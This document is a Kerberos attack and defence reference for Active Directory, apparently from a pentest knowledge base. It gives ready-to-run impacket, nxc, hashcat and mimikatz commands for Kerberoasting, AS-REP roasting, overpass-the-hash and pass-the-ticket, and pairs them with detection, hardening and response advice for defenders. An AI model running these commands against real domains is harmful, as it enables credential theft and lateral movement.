Kerberos Attacks

Kerberos is AD’s authentication protocol. Instead of sending passwords, it uses encrypted tickets issued by the KDC (the Domain Controller): a TGT (Ticket Granting Ticket) identifies the user, and with it they request TGSs (service tickets) to access specific services. The design is sound, but several implementation details —tickets encrypted with the service’s key, accounts without pre-authentication, key reuse— open powerful attacks that never touch the network channel, only request tickets legitimately.

Threat model

The attacker doesn’t break Kerberos cryptography: they abuse who trusts what. The KDC hands any authenticated user tickets encrypted with the service account’s key (its hash) → crack them offline (Kerberoasting). To accounts without preauth, it hands material encrypted with their key without asking for a password (AS-REP roasting). And any stolen key/hash lets you request tickets as that identity (overpass-the-hash). All “within the rules.”

Kerberos flow (brief)

sequenceDiagram
    participant C as Client
    participant KDC as KDC (DC)
    participant S as Service (SPN)
    C->>KDC: AS-REQ (preauth with its key)
    KDC-->>C: AS-REP (issues the TGT)
    C->>KDC: TGS-REQ (with the TGT, requests a ticket for the SPN)
    KDC-->>C: TGS-REP (TGS encrypted with the service hash)
    C->>S: AP-REQ (presents the TGS and the service validates it)
    Note over C,KDC: Kerberoasting — any user requests the TGS-REP<br/>and cracks it offline (hashcat -m 13100)

Key point: the TGS is encrypted with the hash of the service account (the one owning the SPN).

Red Team

Kerberoasting

Any user can request a TGS for any SPN. That TGS is encrypted with the service account’s hash → crack it offline to recover its password. Targets: service accounts (SQL, IIS, etc.), often with old, weak passwords, and sometimes in privileged groups.

# remote, without touching Windows
GetUserSPNs.py domain/user:pass -dc-ip <DC> -request -outputfile hashes.txt
nxc ldap <DC> -u user -p pass --kerberoasting kerb.txt
# cracking
hashcat -m 13100 hashes.txt rockyou.txt

Targeted Kerberoasting variant: if you have GenericWrite over a user, set a temporary SPN, roast them, and remove it.

AS-REP Roasting

Accounts with “Kerberos pre-authentication not required” hand out, in the AS-REP, material encrypted with their key without you proving their password → direct offline cracking, no prior credentials (you only need the username).

GetNPUsers.py domain/ -dc-ip <DC> -usersfile users.txt -no-pass -request
hashcat -m 18200 asrep.txt rockyou.txt

Overpass-the-Hash / Pass-the-Key

With a user’s NT hash (or AES key), request a legitimate TGT without their password → use it for all of Kerberos. Turns a hash into full Kerberos access.

getTGT.py domain/user -hashes :<NThash>        # -> user.ccache
export KRB5CCNAME=user.ccache
psexec.py -k -no-pass domain/user@host
# on Windows: mimikatz sekurlsa::pth /user /ntlm /run:...

Pass-the-Ticket

Steal a TGT/TGS from memory (LSASS) or disk (.ccache, .kirbi) and inject it to act as that user.

mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt ticket.kirbi

Golden / Silver / Diamond tickets

Forge tickets from a stolen key (krbtgt → Golden; service key → Silver). These are techniques of full persistence/escalation; covered in ad-persist.

Tools

impacket (GetUserSPNs.py, GetNPUsers.py, getTGT.py, ticketer.py) — Kerberos from Linux.
Rubeus — the Kerberos knife on Windows (kerberoast, asreproast, asktgt, ptt, s4u).
mimikatz — PtH/PtT, ticket export.
hashcat — TGS (13100) and AS-REP (18200) cracking.

Impact

From any account to service-account credentials (sometimes privileged), and from a hash to full Kerberos access. Kerberoasting and AS-REP roasting are among the most profitable escalation vectors in real AD.

Blue Team

Detection

Kerberoasting: many 4769 (TGS requests) by one account, especially with RC4 encryption (type 0x17) requested for many SPNs.
AS-REP roasting: 4768 with preauth not required; accounts with DONT_REQ_PREAUTH.
Tickets with anomalous lifetime/flags; RC4 where it should be AES.

Telemetry

Audit 4768/4769 with encryption type; alert on RC4 and on a high TGS volume per account. Honeypot: an account with a decoy SPN that, if roasted, fires an alert.

Hardening

Long random passwords (25+ chars) on service accounts → Kerberoasting cracking becomes infeasible. Better: gMSA/dMSA (managed 120+ char passwords).
Remove DONT_REQ_PREAUTH from all accounts (eliminates AS-REP roasting).
Enforce AES, disable RC4 in Kerberos where possible.
Remove unneeded SPNs; don’t put service accounts in privileged groups.
Protected Users (blocks RC4/NTLM/delegation for those accounts), protected LSASS (stops PtT/PtH).

Response

Reset the compromised service accounts (twice if it was krbtgt — see Active Directory Persistence), review which services were touched, and migrate to gMSA; purge stolen tickets by invalidating sessions.

CVEs and real-world cases

Kerberoasting/AS-REP roasting aren’t CVEs: they’re protocol abuses (MITRE T1558.003, T1558.004), standard in every AD assessment.
Bronze Bit (CVE-2020-17049) — bypass of Kerberos delegation restrictions.
Sapphire/Diamond ticket and S4U abuse documented by researchers (Rubeus, impacket).
They appear in ransomware playbooks (Conti, Ryuk) to escalate to service accounts and then to DA.

Testing checklist

SPNs present → Kerberoasting (GetUserSPNs -request)
Accounts without preauth → AS-REP roasting (GetNPUsers)
Do the roasted hashes crack? (hashcat 13100/18200)
Targeted Kerberoasting via GenericWrite (temporary SPN)
Overpass-the-hash: hash → TGT (getTGT)
Pass-the-ticket from LSASS/.ccache/.kirbi
Is RC4 allowed instead of AES?
Blue: is 4769 RC4 monitored and gMSA in use?